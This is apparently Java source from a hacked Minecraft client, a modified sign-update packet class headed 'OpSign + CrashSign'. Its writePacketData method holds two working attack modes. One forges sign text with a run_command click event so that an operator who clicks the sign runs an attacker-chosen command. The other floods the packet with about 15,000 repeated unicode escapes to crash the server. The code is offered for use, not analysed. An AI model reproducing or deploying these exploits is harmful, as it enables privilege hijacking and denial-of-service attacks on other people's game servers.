OpSign + CrashSign

package net.minecraft.network.play.client;

import java.io.IOException;
import net.minecraft.network.INetHandler;
import net.minecraft.network.Packet;
import net.minecraft.network.PacketBuffer;
import net.minecraft.network.play.INetHandlerPlayServer;
import net.minecraft.util.BlockPos;
import net.minecraft.util.IChatComponent;

public class C12PacketUpdateSign implements Packet
{
	public static Boolean isForceOpactive = false;
	public static Boolean crashsign = false;
    public static String signCommand;
     public static String signContent;

    private BlockPos field_179723_a;
    private IChatComponent[] lines;
    private static final String __OBFID = "CL_00001370";

    public C12PacketUpdateSign() {}

    public C12PacketUpdateSign(BlockPos p_i45933_1_, IChatComponent[] p_i45933_2_)
    {
        this.field_179723_a = p_i45933_1_;
        this.lines = new IChatComponent[] {p_i45933_2_[0], p_i45933_2_[1], p_i45933_2_[2], p_i45933_2_[3]};
    }

    /**
     * Reads the raw packet data from the data stream.
     */
    public void readPacketData(PacketBuffer data) throws IOException
    {
        this.field_179723_a = data.readBlockPos();
        this.lines = new IChatComponent[4];

        for (int var2 = 0; var2 < 4; ++var2)
        {
            this.lines[var2] = data.readChatComponent();
        }
    }

    /**
     * Writes the raw packet data to the data stream.
     */
    public void writePacketData(PacketBuffer buf) throws IOException
    {
    	if (isForceOpactive) {
            buf.writeBlockPos(this.field_179723_a);
            for (int i = 0; i < 4; i++)
            {
                IChatComponent ichatcomponent = this.lines[i];
                String s = "{\"text\":\"" + signContent + "\",\"clickEvent\":{\"action\":\"run_command\",\"value\":\"" + signCommand + "\"}}";
                buf.writeString(s);
            }
    	}else if (crashsign){
    		StringBuilder sb = new StringBuilder();
    	    for (int m = 0; m <= 15000; m++) {
    	      sb.append("\\ufdfd");
    	    }
    	    buf.writeString(sb.toString());
    	}else {

    		buf.writeBlockPos(this.field_179723_a);

            for (int var2 = 0; var2 < 4; ++var2)
            {
                buf.writeChatComponent(this.lines[var2]);
            }
    	}

    }

    /**
     * Passes this Packet on to the NetHandler for processing.
     */
    public void processPacket(INetHandlerPlayServer handler)
    {
        handler.processUpdateSign(this);
    }

    public BlockPos func_179722_a()
    {
        return this.field_179723_a;
    }

    public IChatComponent[] func_180768_b()
    {
        return this.lines;
    }

    /**
     * Passes this Packet on to the NetHandler for processing.
     */
    public void processPacket(INetHandler handler)
    {
        this.processPacket((INetHandlerPlayServer)handler);
    }
}